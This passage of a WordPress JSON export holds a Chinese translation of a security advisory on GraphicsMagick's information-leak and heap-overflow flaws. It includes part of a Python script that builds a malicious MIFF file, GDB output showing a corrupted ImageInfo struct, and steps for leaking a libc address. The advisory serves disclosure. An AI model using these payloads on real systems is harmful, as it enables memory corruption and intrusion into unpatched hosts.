class=\"crayon-v\">partitions<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">payload<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">partitions<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">]<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a14a65916128101291797-14\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">file<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">output<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;w&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">write<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">payload<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a14a65916128101291797-15\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a14a65916128101291797-16\"><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">__name__<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">==<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;__main__&#8221;<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a14a65916128101291797-17\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">main<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0021 seconds] -->  <\/p>\n<p>\u4f7f\u7528GDB\u5e26\u53c2\u6570identify -verbose\u8fd0\u884cGraphicsMagick gm\uff0c\u5f53strncpy\u8c03\u7528\u8fc7\u540e\uff0c\u4e2d\u65ad\u7a0b\u5e8f\u7684\u8fd0\u884c\uff0c\u7136\u540e\u68c0\u67e5\u88ab\u7834\u574f\u7684ImageInfo\u5bf9\u8c61\uff0c\u4ee5\u8bc1\u660e\u5806\u6ea2\u51fa\u5229\u7528\u6210\u529f\u3002<\/p>\n<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5a14a6591612d601712410\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> gef\u27a4  r identify -verbose exploit.miff  &#8230;  gef\u27a4  br describe.c:856  Breakpoint 1 at 0x4571df: file magick\/describe.c, line 856.  &#8230;  gef\u27a4  p *image_info  $3 = {  &#8230;    compression = UndefinedCompression,    file = 0x0,    magick = &#8216;\u000000&#8217; &lt;repeats 2052 times&gt;,    filename = &#8216;A&#8217; &lt;repeats 2053 times&gt;,    cache = 0x4141414141414141,    definitions = 0x4141414141414141,    attributes = 0x4141414141414141,    ping = 0x41414141,    preview_type = 1094795585,    affirm = 0x41414141,    blob = 0x4141414141414141,    length = 0x4141414141414141,    unique = &#8216;A&#8217; &lt;repeats 2053 times&gt;,    zero = &#8216;A&#8217; &lt;repeats 2053 times&gt;,    signature = 0x4141414141414141  }<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-5a14a6591612d601712410-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a14a6591612d601712410-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a14a6591612d601712410-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a14a6591612d601712410-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a14a6591612d601712410-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a14a6591612d601712410-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a14a6591612d601712410-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a14a6591612d601712410-8\">8<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a14a6591612d601712410-9\">9<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a14a6591612d601712410-10\">10<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a14a6591612d601712410-11\">11<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a14a6591612d601712410-12\">12<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a14a6591612d601712410-13\">13<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a14a6591612d601712410-14\">14<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a14a6591612d601712410-15\">15<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a14a6591612d601712410-16\">16<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a14a6591612d601712410-17\">17<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a14a6591612d601712410-18\">18<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a14a6591612d601712410-19\">19<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a14a6591612d601712410-20\">20<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a14a6591612d601712410-21\">21<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a14a6591612d601712410-22\">22<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a14a6591612d601712410-23\">23<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a14a6591612d601712410-24\">24<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-5a14a6591612d601712410-1\"><span class=\"crayon-i\">gef<\/span>\u27a4<span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-i\">r<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">identify<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-e\">verbose <\/span><span class=\"crayon-v\">exploit<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-i\">miff<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a14a6591612d601712410-2\"><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a14a6591612d601712410-3\"><span class=\"crayon-i\">gef<\/span>\u27a4<span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-e\">br <\/span><span class=\"crayon-v\">describe<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">c<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">856<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a14a6591612d601712410-4\"><span class=\"crayon-i\">Breakpoint<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">at<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x4571df<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">file <\/span><span class=\"crayon-v\">magick<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">describe<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">c<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">line<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">856.<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a14a6591612d601712410-5\"><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a14a6591612d601712410-6\"><span class=\"crayon-i\">gef<\/span>\u27a4<span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-e\">p *<\/span><span class=\"crayon-v\">image<\/span><span class=\"crayon-sy\">_<\/span>info<\/div>\n<div class=\"crayon-line\" id=\"crayon-5a14a6591612d601712410-7\"><span class=\"crayon-sy\">$<\/span><span class=\"crayon-cn\">3<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a14a6591612d601712410-8\"><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a14a6591612d601712410-9\"><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">compression<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">UndefinedCompression<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a14a6591612d601712410-10\"><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">file<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x0<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a14a6591612d601712410-11\"><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">magick<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;\u000000&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-i\">repeats<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">2052<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">times<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a14a6591612d601712410-12\"><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">filename<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;A&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-i\">repeats<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">2053<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">times<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a14a6591612d601712410-13\"><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">cache<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x4141414141414141<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a14a6591612d601712410-14\"><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">definitions<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x4141414141414141<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a14a6591612d601712410-15\"><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">attributes<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x4141414141414141<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a14a6591612d601712410-16\"><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">ping<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x41414141<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a14a6591612d601712410-17\"><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">preview_type<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1094795585<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a14a6591612d601712410-18\"><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">affirm<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x41414141<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a14a6591612d601712410-19\"><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">blob<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x4141414141414141<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a14a6591612d601712410-20\"><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">length<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x4141414141414141<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a14a6591612d601712410-21\"><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">unique<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;A&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-i\">repeats<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">2053<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">times<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a14a6591612d601712410-22\"><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">zero<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;A&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-i\">repeats<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">2053<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">times<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a14a6591612d601712410-23\"><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">signature<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x4141414141414141<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a14a6591612d601712410-24\"><span class=\"crayon-sy\">}<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0046 seconds] -->  <\/p>\n<div class=\"printfriendly pf-alignleft\"><a href=\"#\" rel=\"nofollow\" onclick=\"window.print(); return false;\" class=\"noslimstat\" title=\"Printer Friendly, PDF &#038; Email\"><img decoding=\"async\" style=\"border:none;-webkit-box-shadow:none; box-shadow:none;\" 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Wheeler\u7edf\u8ba1)\uff0c\u5b83\u63d0\u4f9b\u4e86\u5f3a\u5927\u800c\u6709\u6548\u7684\u5de5\u5177\u548c\u5e93\uff0c\u652f\u6301\u8bfb\uff0c\u5199\u8d85\u8fc788\u79cd\u4e3b\u8981\u56fe\u50cf\u5904\u7406\u683c\u5f0f\uff0c\u5305\u62ecDPX\uff0cGIF\uff0cJPEG\uff0cJPEG-2000\uff0cPNG\uff0cPDF\uff0cPNM\u548cTIFF\u7b49\u91cd\u8981\u683c\u5f0f\u3002 \u5728GraphicsMagick\u4e2d\u53d1\u73b0\u7684\u4e24\u4e2a\u6f0f\u6d1e\u662f\uff1a \u5185\u5b58\u4fe1\u606f\u6cc4\u9732 \u5806\u6ea2\u51fa \u6f0f\u6d1e\u63d0\u4ea4\u8005 \u4e00\u4f4d\u72ec\u7acb\u7684\u5b89\u5168\u7814\u7a76\u4eba\u5458Jeremy Heng\uff08@nn_amon\uff09\u548cTerry Chia\uff08Ayrx\uff09\u5411 Beyond Security \u7684 SSD \u62a5\u544a\u4e86\u8be5\u6f0f\u6d1e \u5382\u5546\u54cd\u5e94 \u5382\u5546\u5df2\u7ecf\u53d1\u5e03\u4e86\u8fd9\u4e9b\u6f0f\u6d1e\u7684\u8865\u4e01(15237:e4e1c2a581d8 and 15238:7292230dd18)\u3002\u83b7\u53d6\u66f4\u591a\u4fe1\u606f\uff1a ftp:\/\/ftp.graphicsmagick.org\/pub\/GraphicsMagick\/snapshots\/ChangeLog.txt \u6f0f\u6d1e\u8be6\u7ec6\u4fe1\u606f \u5185\u5b58\u4fe1\u606f\u6cc4\u9732 GraphicsMagick\u6613\u53d7\u5230magick\/describe.c\u6587\u4ef6\u7684DescribeImage\u51fd\u6570\u4e2d\u5b58\u5728\u5185\u5b58\u4fe1\u606f\u6cc4\u9732\u6f0f\u6d1e\u5f71\u54cd\u3002 \u8d1f\u8d23\u6253\u5370\u5305\u542b\u7684IPTC\u914d\u7f6e\u6587\u4ef6\u4fe1\u606f\u7684\u56fe\u50cf\u4e2d\u7684\u8fd9\u4e00\u90e8\u5206\u4ee3\u7801\u5b58\u5728\u6f0f\u6d1e\u3002 \u8be5\u6f0f\u6d1e\u53ef\u4ee5\u901a\u8fc7\u7279\u5236\u7684MIFF\u6587\u4ef6\u89e6\u53d1\u3002 \u5b58\u5728\u6f0f\u6d1e\u7684\u4ee3\u7801\u8def\u5f84\u5982\u4e0b\uff1a [crayon-5a14a6571e4e8110629866\/] profile_length\u53d8\u91cf\u4e2d\u7684\u503c\u5728MIFF\u5934\u4e2d\u7684profile-iptc = 8\u5b57\u6bb5\u8bbe\u7f6e \u5f53\u8bbf\u95eeprofile [i]\u65f6\uff0c\u56e0\u4e3a\u4e0d\u68c0\u67e5i\u7684\u503c\uff0c\u6240\u4ee5\u4f1a\u51fa\u73b0\u8d8a\u754c\u8bbf\u95ee\u3002 \u5982\u679c\u65ad\u5728describe.c\u7b2c738\u884c\uff0c\u5728\u6267\u884cstrncpy\u64cd\u4f5c\u7684\u65f6\u5019\u6211\u4eec\u53ef\u4ee5\u83b7\u53d6\u5230\u5806\u4e2d\u7684\u5185\u5bb9\u3002 [crayon-5a14a6571e4f3204539767\/] 0x08000a001c414141\u662f\u6211\u4eec\u690d\u5165MIFF\u6587\u4ef6\u4e2d\u7684payload\u3002 [crayon-5a14a6571e4f8559265142\/] \u68c0\u67e5\u4e0epayload\u76f8\u90bb\u7684\u503c0x00007ffff690fba8\uff0c\u53d1\u73b0\u5b83\u5176\u5b9e\u662flibc\u4e2dmain_arena\u7ed3\u6784\u4e2d\u7684\u4e00\u4e2a\u5730\u5740\u3002 [crayon-5a14a6571e4fc975205403\/] \u73b0\u5728\u6211\u4eec\u53ef\u4ee5\u8ba1\u7b97\u5230libc base\u7684\u504f\u79fb\u91cf &#8211; 0x3c4b98 \u6f0f\u6d1e\u8bc1\u660e $ python miff\/readexploit.py [+] Starting local process \u2018\/usr\/bin\/gm\u2019: pid &#8230; <a href=\"https:\/\/blogs.securiteam.com\/index.php\/archives\/3530\" class=\"more-link\">Continue reading <span class=\"screen-reader-text\">SSD\u5b89\u5168\u516c\u544a\u2013GraphicsMagick\u591a\u4e2a\u6f0f\u6d1e<\/span><\/a><\/p>\n","protected":false},"author":4,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"colormag_page_container_layout":"default_layout","colormag_page_sidebar_layout":"default_layout","footnotes":""},"categories":[10643,10754],"tags":[15774,12357,12135,10757],"class_list":["post-10566","post","type-post","status-publish","format-standard","hentry","category-independent","category-securiteam","tag-chinese-translation","tag-heap-overflow","tag-information-disclosure","tag-securiteam-secure-disclosure"],"_links":{"self":[{"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts\/10566","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/users\/4"}],"replies":[{"embeddable":true,"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/comments?post=10566"}],"version-history":[{"count":0,"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts\/10566\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/media?parent=10566"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/categories?post=10566"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/tags?post=10566"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}